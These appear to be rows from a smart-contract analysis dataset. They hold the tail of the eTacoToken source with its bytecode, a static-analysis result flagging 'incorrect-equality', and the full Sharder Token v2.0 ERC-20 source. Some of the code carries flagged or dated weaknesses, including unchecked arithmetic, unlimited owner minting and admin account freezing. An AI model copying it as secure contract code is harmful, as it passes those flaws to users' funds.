}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "eTacoToken::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "eTacoToken::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "eTacoToken::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance, amount, "eTacoToken::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "eTacoToken::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "eTacoToken::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "eTacoToken::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "eTacoToken::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "eTacoToken::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "eTacoToken::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "eTacoToken::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "eTacoToken::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "eTacoToken::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "eTacoToken::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "eTacoToken::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b919061143b565b60405180910390f35b6101576101523660046112cd565b6102e8565b60405161013b91906113c1565b61016c6103aa565b60405161013b91906113cc565b61016c6103ba565b61015761018f366004611292565b6103de565b61019c610521565b60405161013b91906116b1565b6101bc6101b7366004611246565b610526565b60405161013b91906113ad565b6101dc6101d7366004611246565b610541565b005b6101f16101ec366004611246565b61054e565b60405161013b9190611681565b61016c61020c366004611246565b610566565b61022461021f3660046112cd565b61058e565b60405161013b91906116bf565b61016c61023f366004611246565b6107de565b61012e6107f0565b61015761025a3660046112cd565b610811565b61022461026d366004611246565b61084d565b6101dc6102803660046112f6565b6108cb565b61016c610293366004611260565b610adb565b61016c610b0d565b6102b36102ae366004611354565b610b31565b60405161013b929190611692565b6040518060400160405280600b81526020016a32aa20a1a7902a37b5b2b760a91b81525081565b60008060001983141561030357506001600160601b03610328565b610325836040518060600160405280602b8152602001611837602b9139610b66565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103969085906116bf565b60405180910390a360019150505b92915050565b6b0146d139e866ce271990000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602b80845291936001600160601b03909116928592610434928892919061183790830139610b66565b9050866001600160a01b0316836001600160a01b03161415801561046157506001600160601b0382811614155b1561050957600061048b838360405180608001604052806043815260200161189c60439139610b95565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104ff9085906116bf565b60405180910390a3505b610514878783610bdf565b5060019695505050505050565b601281565b6002602052600090815260409020546001600160a01b031681565b61054b3382610d8a565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b0381166000908152600160205260409020546001600160601b03165b919050565b60004382106105b85760405162461bcd60e51b81526004016105af90611634565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105e65760009150506103a4565b6001600160a01b0384166000908152600360205260408120849161060b600185611766565b63ffffffff9081168252602082019290925260400160002054161161067e576001600160a01b03841660009081526003602052604081209061064e600184611766565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b031691506103a49050565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff168310156106b95760009150506103a4565b6000806106c7600184611766565b90505b8163ffffffff168163ffffffff16111561079957600060026106ec8484611766565b6106f69190611737565b6107009083611766565b6001600160a01b038816600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915291925087141561076d576020015194506103a49350505050565b805163ffffffff1687111561078457819350610792565b61078f600183611766565b92505b50506106ca565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b60405180604001604052806005815260200164655441434f60d81b81525081565b600080610836836040518060600160405280602c815260200161180b602c9139610b66565b9050610843338583610bdf565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff16806108785760006108c4565b6001600160a01b03831660009081526003602052604081209061089c600184611766565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b9392505050565b60408051808201909152600b81526a32aa20a1a7902a37b5b2b760a91b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f3446d20d758f3d172008ae510bdef177c83c4796b280397d5c262e690a6049be61093a610e14565b3060405160200161094e94939291906113f9565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf88888860405160200161099f94939291906113d5565b604051602081830303815290604052805190602001209050600082826040516020016109cc929190611392565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610a09949392919061141d565b6020604051602081039080840390855afa158015610a2b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a5e5760405162461bcd60e51b81526004016105af906114ec565b6001600160a01b0381166000908152600560205260408120805491610a82836117ab565b919050558914610aa45760405162461bcd60e51b81526004016105af906115ec565b87421115610ac45760405162461bcd60e51b81526004016105af906115a0565b610ace818b610d8a565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610b8d5760405162461bcd60e51b81526004016105af919061143b565b509192915050565b6000836001600160601b0316836001600160601b031611158290610bcc5760405162461bcd60e51b81526004016105af919061143b565b50610bd7838561178b565b949350505050565b6001600160a01b038316610c055760405162461bcd60e51b81526004016105af90611538565b6001600160a01b038216610c2b5760405162461bcd60e51b81526004016105af9061148e565b6001600160a01b03831660009081526001602090815260409182902054825160608101909352603c808452610c76936001600160601b03909216928592919061191590830139610b95565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526036808452610cde94919091169285929091906118df90830139610e18565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d4b9085906116bf565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610d8592918216911683610e65565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610e0e828483610e65565b50505050565b4690565b600080610e258486611715565b9050846001600160601b0316816001600160601b031610158390610e5c5760405162461bcd60e51b81526004016105af919061143b565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610e9057506000816001600160601b0316115b15610d85576001600160a01b03831615610f55576001600160a01b03831660009081526004602052604081205463ffffffff169081610ed0576000610f1c565b6001600160a01b038516600090815260036020526040812090610ef4600185611766565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b90506000610f4382856040518060600160405280602e81526020016117dd602e9139610b95565b9050610f518684848461100d565b5050505b6001600160a01b03821615610d85576001600160a01b03821660009081526004602052604081205463ffffffff169081610f90576000610fdc565b6001600160a01b038416600090815260036020526040812090610fb4600185611766565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b9050600061100382856040518060600160405280602d8152602001611951602d9139610e18565b9050610ad3858484845b6000611031436040518060600160405280603a8152602001611862603a9139611208565b905060008463ffffffff1611801561108b57506001600160a01b038516600090815260036020526040812063ffffffff83169161106f600188611766565b63ffffffff908116825260208201929092526040016000205416145b156110ff576001600160a01b038516600090815260036020526040812083916110b5600188611766565b63ffffffff168152602081019190915260400160002080546001600160601b0392909216600160201b026fffffffffffffffffffffffff00000000199092169190911790556111be565b60408051808201825263ffffffff83811682526001600160601b0385811660208085019182526001600160a01b038b166000908152600382528681208b861682529091529490942092518354945163ffffffff199095169216919091176fffffffffffffffffffffffff000000001916600160201b939091169290920291909117905561118d8460016116ed565b6001600160a01b0386166000908152600460205260409020805463ffffffff191663ffffffff929092169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516111f99291906116d3565b60405180910390a25050505050565b600081600160201b8410610b8d5760405162461bcd60e51b81526004016105af919061143b565b80356001600160a01b038116811461058957600080fd5b600060208284031215611257578081fd5b6108c48261122f565b60008060408385031215611272578081fd5b61127b8361122f565b91506112896020840161122f565b90509250929050565b6000806000606084860312156112a6578081fd5b6112af8461122f565b92506112bd6020850161122f565b9150604084013590509250925092565b600080604083850312156112df578182fd5b6112e88361122f565b946020939093013593505050565b60008060008060008060c0878903121561130e578182fd5b6113178761122f565b95506020870135945060408701359350606087013560ff8116811461133a578283fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611366578182fd5b61136f8361122f565b9150602083013563ffffffff81168114611387578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156114675785810183015185820160400152820161144b565b818111156114785783604083870101525b50601f01601f1916929092016040019392505050565b602080825260409082018190527f655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e908201527f6e6f74207472616e7366657220746f20746865207a65726f2061646472657373606082015260800190565b6020808252602c908201527f655461636f546f6b656e3a3a64656c656761746542795369673a20696e76616c60408201526b6964207369676e617475726560a01b606082015260800190565b60208082526042908201527f655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e60408201527f6e6f74207472616e736665722066726f6d20746865207a65726f206164647265606082015261737360f01b608082015260a00190565b6020808252602c908201527f655461636f546f6b656e3a3a64656c656761746542795369673a207369676e6160408201526b1d1d5c9948195e1c1a5c995960a21b606082015260800190565b60208082526028908201527f655461636f546f6b656e3a3a64656c656761746542795369673a20696e76616c6040820152676964206e6f6e636560c01b606082015260800190565b6020808252602d908201527f655461636f546f6b656e3a3a6765745072696f72566f7465733a206e6f74207960408201526c195d0819195d195c9b5a5b9959609a1b606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b600063ffffffff80831681851680830382111561170c5761170c6117c6565b01949350505050565b60006001600160601b0380831681851680830382111561170c5761170c6117c6565b600063ffffffff8084168061175a57634e487b7160e01b83526012600452602483fd5b92169190910492915050565b600063ffffffff83811690831681811015611783576117836117c6565b039392505050565b60006001600160601b0383811690831681811015611783576117836117c6565b60006000198214156117bf576117bf6117c6565b5060010190565b634e487b7160e01b600052601160045260246000fdfe655461636f546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773655461636f546f6b656e3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473655461636f546f6b656e3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473655461636f546f6b656e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473655461636f546f6b656e3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365655461636f546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a26469706673582212208e6cf338624ce9e93960dcf4e18f05566c7628cf772b07da84a745de778a21ae64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,988 |
0x996ccd50d1e3aee157dac4ee79942ab63ad86ebc
|
/*
Copyright 2017 Sharder Foundation.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
################ Sharder-Token-v2.0 ###############
a) Adding the emergency transfer functionality for owner.
b) Removing the logic of crowdsale according to standard MintToken in order to improve the neatness and
legibility of the Sharder smart contract coding.
c) Adding the broadcast event 'Frozen'.
d) Changing the parameters of name, symbol, decimal, etc. to lower-case according to convention. Adjust format of input paramters.
e) The global parameter is added to our smart contact in order to avoid that the exchanges trade Sharder tokens
before officials partnering with Sharder.
f) Add holder array to facilitate the exchange of the current ERC-20 token to the Sharder Chain token later this year
when Sharder Chain is online.
g) Lockup and lock-up query functions.
The deplyed online contract you can found at: https://etherscan.io/address/XXXXXX
Sharder-Token-v1.0 is expired. You can check the code and get the details on branch 'sharder-token-v1.0'.
*/
pragma solidity ^0.4.18;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title Sharder Token v2.0. SS(Sharder) is upgrade from SS(Sharder Storage).
* @author Ben - <xy@sharder.org>.
* @dev ERC-20: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract SharderToken {
using SafeMath for uint;
string public name = "Sharder";
string public symbol = "SS";
uint8 public decimals = 18;
/// +--------------------------------------------------------------+
/// | SS(Sharder) Token Issue Plan |
/// +--------------------------------------------------------------+
/// | First Round(Crowdsale) |
/// +--------------------------------------------------------------+
/// | Total Sale | Airdrop | Community Reserve |
/// +--------------------------------------------------------------+
/// | 250,000,000 | 50,000,000 | 50,000,000 |
/// +--------------------------------------------------------------+
/// | Team Reserve(50,000,000 SS): Issue in 3 years period |
/// +--------------------------------------------------------------+
/// | System Reward(100,000,000 SS): Reward by Sharder Chain Auto |
/// +--------------------------------------------------------------+
uint256 public totalSupply = 350000000000000000000000000;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public balanceOf;
/// The owner of contract
address public owner;
/// The admin account of contract
address public admin;
mapping (address => bool) internal accountLockup;
mapping (address => uint) public accountLockupTime;
mapping (address => bool) public frozenAccounts;
mapping (address => uint) internal holderIndex;
address[] internal holders;
///First round tokens whether isssued.
bool internal firstRoundTokenIssued = false;
/// Contract pause state
bool public paused = true;
/// Issue event index starting from 0.
uint256 internal issueIndex = 0;
// Emitted when a function is invocated without the specified preconditions.
event InvalidState(bytes msg);
// This notifies clients about the token issued.
event Issue(uint issueIndex, address addr, uint ethAmount, uint tokenAmount);
// This notifies clients about the amount to transfer
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount to approve
event Approval(address indexed owner, address indexed spender, uint value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This notifies clients about the account frozen
event FrozenFunds(address target, bool frozen);
// This notifies clients about the pause
event Pause();
// This notifies clients about the unpause
event Unpause();
/*
* MODIFIERS
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || msg.sender == admin);
_;
}
/**
* @dev Modifier to make a function callable only when account not frozen.
*/
modifier isNotFrozen {
require(frozenAccounts[msg.sender] != true && now > accountLockupTime[msg.sender]);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier isNotPaused() {
require((msg.sender == owner && paused) || (msg.sender == admin && paused) || !paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier isPaused() {
require(paused);
_;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal isNotFrozen isNotPaused {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
// Update holders
addOrUpdateHolder(_from);
addOrUpdateHolder(_to);
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _transferTokensWithDecimal The amount to be transferred.
*/
function transfer(address _to, uint _transferTokensWithDecimal) public {
_transfer(msg.sender, _to, _transferTokensWithDecimal);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _transferTokensWithDecimal uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _transferTokensWithDecimal) public isNotFrozen isNotPaused returns (bool success) {
require(_transferTokensWithDecimal <= allowance[_from][msg.sender]);
// Check allowance
allowance[_from][msg.sender] -= _transferTokensWithDecimal;
_transfer(_from, _to, _transferTokensWithDecimal);
return true;
}
/**
* Set allowance for other address
* Allows `_spender` to spend no more than `_approveTokensWithDecimal` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _approveTokensWithDecimal the max amount they can spend
*/
function approve(address _spender, uint256 _approveTokensWithDecimal) public isNotFrozen isNotPaused returns (bool success) {
allowance[msg.sender][_spender] = _approveTokensWithDecimal;
Approval(msg.sender, _spender, _approveTokensWithDecimal);
return true;
}
/**
* Destroy tokens
* Remove `_value` tokens from the system irreversibly
* @param _burnedTokensWithDecimal the amount of reserve tokens. !!IMPORTANT is 18 DECIMALS
*/
function burn(uint256 _burnedTokensWithDecimal) public isNotFrozen isNotPaused returns (bool success) {
require(balanceOf[msg.sender] >= _burnedTokensWithDecimal);
/// Check if the sender has enough
balanceOf[msg.sender] -= _burnedTokensWithDecimal;
/// Subtract from the sender
totalSupply -= _burnedTokensWithDecimal;
Burn(msg.sender, _burnedTokensWithDecimal);
return true;
}
/**
* Destroy tokens from other account
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
* @param _from the address of the sender
* @param _burnedTokensWithDecimal the amount of reserve tokens. !!! IMPORTANT is 18 DECIMALS
*/
function burnFrom(address _from, uint256 _burnedTokensWithDecimal) public isNotFrozen isNotPaused returns (bool success) {
require(balanceOf[_from] >= _burnedTokensWithDecimal);
/// Check if the targeted balance is enough
require(_burnedTokensWithDecimal <= allowance[_from][msg.sender]);
/// Check allowance
balanceOf[_from] -= _burnedTokensWithDecimal;
/// Subtract from the targeted balance
allowance[_from][msg.sender] -= _burnedTokensWithDecimal;
/// Subtract from the sender's allowance
totalSupply -= _burnedTokensWithDecimal;
Burn(_from, _burnedTokensWithDecimal);
return true;
}
/**
* Add holder addr into arrays.
* @param _holderAddr the address of the holder
*/
function addOrUpdateHolder(address _holderAddr) internal {
// Check and add holder to array
if (holderIndex[_holderAddr] == 0) {
holderIndex[_holderAddr] = holders.length++;
}
holders[holderIndex[_holderAddr]] = _holderAddr;
}
/**
* CONSTRUCTOR
* @dev Initialize the Sharder Token v2.0
*/
function SharderToken() public {
owner = msg.sender;
admin = msg.sender;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
owner = _newOwner;
}
/**
* @dev Set admin account to manage contract.
*/
function setAdmin(address _address) public onlyOwner {
admin = _address;
}
/**
* @dev Issue first round tokens to `owner` address.
*/
function issueFirstRoundToken() public onlyOwner {
require(!firstRoundTokenIssued);
balanceOf[owner] = balanceOf[owner].add(totalSupply);
Issue(issueIndex++, owner, 0, totalSupply);
addOrUpdateHolder(owner);
firstRoundTokenIssued = true;
}
/**
* @dev Issue tokens for reserve.
* @param _issueTokensWithDecimal the amount of reserve tokens. !!IMPORTANT is 18 DECIMALS
*/
function issueReserveToken(uint256 _issueTokensWithDecimal) onlyOwner public {
balanceOf[owner] = balanceOf[owner].add(_issueTokensWithDecimal);
totalSupply = totalSupply.add(_issueTokensWithDecimal);
Issue(issueIndex++, owner, 0, _issueTokensWithDecimal);
}
/**
* @dev Frozen or unfrozen account.
*/
function changeFrozenStatus(address _address, bool _frozenStatus) public onlyAdmin {
frozenAccounts[_address] = _frozenStatus;
}
/**
* @dev Lockup account till the date. Can't lock-up again when this account locked already.
* 1 year = 31536000 seconds, 0.5 year = 15768000 seconds
*/
function lockupAccount(address _address, uint _lockupSeconds) public onlyAdmin {
require((accountLockup[_address] && now > accountLockupTime[_address]) || !accountLockup[_address]);
// lock-up account
accountLockupTime[_address] = now + _lockupSeconds;
accountLockup[_address] = true;
}
/**
* @dev Get the cuurent ss holder count.
*/
function getHolderCount() public constant returns (uint _holdersCount){
return holders.length - 1;
}
/*
* @dev Get the current ss holder addresses.
*/
function getHolders() public onlyAdmin constant returns (address[] _holders){
return holders;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyAdmin isNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyAdmin isPaused public {
paused = false;
Unpause();
}
function setSymbol(string _symbol) public onlyOwner {
symbol = _symbol;
}
function setName(string _name) public onlyOwner {
name = _name;
}
/// @dev This default function reject anyone to purchase the SS(Sharder) token after crowdsale finished.
function() public payable {
revert();
}
}
|
